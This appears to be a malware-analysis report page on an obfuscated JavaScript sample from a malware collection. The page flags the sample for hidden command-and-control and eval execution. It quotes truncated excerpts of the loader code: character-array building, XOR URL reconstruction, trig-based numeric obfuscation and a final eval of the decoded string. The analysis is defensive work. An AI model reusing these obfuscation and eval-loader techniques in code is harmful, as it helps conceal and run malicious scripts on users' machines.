Suspicious ^80% javascript-malware-collection Download

20151217_5346f3d8b768130bab5d714b61ed4817.js

Obfuscated C2 and eval execution

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2568dce932de262f79c5e10a791d0b9c6a734ca2dc94bb4c181c8ba7ef7b21d4d86

Evidence

Builds characters with String.fromCharCode line 2

2:146… 'C','Q','N',')','A','M','v','U','r','M','l','N','k','&','+','"',String.fromCharCode(10),'*','b','(','O','w','$','U','Z','z','N','(','(','Q',':','s',String.fromCharCode(13),'R','Q','H','l','q','"','W','g','4','E','?','F',' ','5','^','P',']','x','$','&','>','"','"','7','q','n','f',',',')','b','D','M','l','*','H','F','J','K','.','M',']','m','F',']','[','R','l …

XOR URL reconstruction call line 2

2:774… 'n','3','(','_','.','n','%','a','^','d','!','&','T','=','D','(',String.fromCharCode(39),'t','"',';','&','V','$','(','N',')','g','^','(','*','N','t','q','g','@','+',']','d','-',',','r',';','T','g','7','{','-','<','P','c',',','0','G','.','&','/','+','I','p','2 …

Calls JavaScript toString conversion method lines 4–7

4:44… hgCARg){ztEf=XJVoCzvIBFomiVLnW(dHdTvVkePUQ,aQMpkDqdyZYhn);YZAfV=ztEf.toString(HThgCARg);return YZAfV;}
5function NtBpZdIXIfszypu(luwvkBboTJAiJNZIx,hmuTboqieYhtdSVhofHflsfBZWVgSQcnUF,SqqwZEJTPymnRDUsiLRcRPEZMNPNoeIojJw){eval(luwvkBboTJAiJNZIx);}
6function BdFLBjwLiKajTtQsIdNbECpuwpZgffrQvAlZeKyKWBPjtNpKfgyses(mRBnqYaagTIke,YosdUZOKnjQbAY){ return fKABwSF[yqpvKVPn[gCSfd(mRBnqYaagTIke[YosdUZOKnjQbAY],(15121+587)/561,(7427+373)/780)]];}
7function WLkmroj(hJrkimnIBHrvSOMupnMiiDcDXoLgLhujzwOn) {return !LehlMfadKJg(dtGSIqFMTREMJVi(hJrkimnIBHrvSOMupnMiiDcDX …

Dense indexed short-token grid lines 12–13

12:33… ZHlkYIG,LJzUDEITXuj) {KcxewMZJLsYAPE[UXwOrsZHlkYIG]=LJzUDEITXuj;}
13var r = new Array();r[0]=[];r[0][0]='d';r[0][1]='a';r[0][2]='d';r[0][3]='a';r[0][4]='46';r[0][5]='3d';r[0][6]='42';r[0][7]='14';r[0][8]='30';r[0][9]='14';r[0][10]='25';r[0][11]='14';r[0][12]='16';r[0][13]='47';r[0][14]='3k';r[0][15]='3d';r[0][16]='44';r[0][17]='3g';r[0][18]='3l';r[0][19]='3g';r[0][20]='49';r[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],r[4],r[5]];
20var ysvhQcphE=[];
21function KfOITKPvXpMHacBRQ(kAZUW){pVRsSvNlNGK= '';MamgQcdYLex=Math.round((Math.pow(Math.sin(915), 2) + Math.pow(Math.cos(915), 2) - 1));while(true){if (MamgQcdYLex >= (5149+95)/874){break;}ysvhQcphE[MamgQcdYLex]=Math.round((Math.pow(Math.sin(549), 2) + Math.pow(Math.cos(549), 2) - 1)); while(true) { if(ysvhQcphE[MamgQcdYLex] > kAZUW[MamgQcdYLex].length-(-182+813)/631) { break; } if (WLkmroj(gCSfd(kAZUW[MamgQcdYLex][ysvhQcphE[MamgQcdYLex]],(19583+297)/710,(8785+565)/935))) {pVRsSvNlNGK += BdFLBjwLiKajTtQsIdNbECpuwpZgffrQvAlZeKyKWBPjtNpKfgyses([kAZUW[MamgQcdYLex][ysvhQcphE[MamgQcdYLex]]], Math.round((Math.pow(Math.sin(252), 2) + Math.pow(Math.cos(252), 2) - 1)));} ysvhQcphE[MamgQcdYLex]++;}MamgQcdYLex++;} return pVRsSvNlNGK}
22var BKWItuuUoEUWUeQOdSsBuPBtfzjsGZvkM = 'XZtSyqfIsQPAOJUPFtEUqcxoiWlhieTADSVq';var phscWAefsrTvKdnfMZfayFPPQfQqNAeP = 'zysJooNGcgFCDdyLIcMHLRuUIeJAvLngEosc';NtBpZdIXIfszypu(KfOITKPvXpMHacBRQ(kAZUW),BKWItuuUoEUWUeQOdSsBuPBtfzjsGZvkM,phscWAefsrTvKdnfMZfayFPPQfQqNAeP);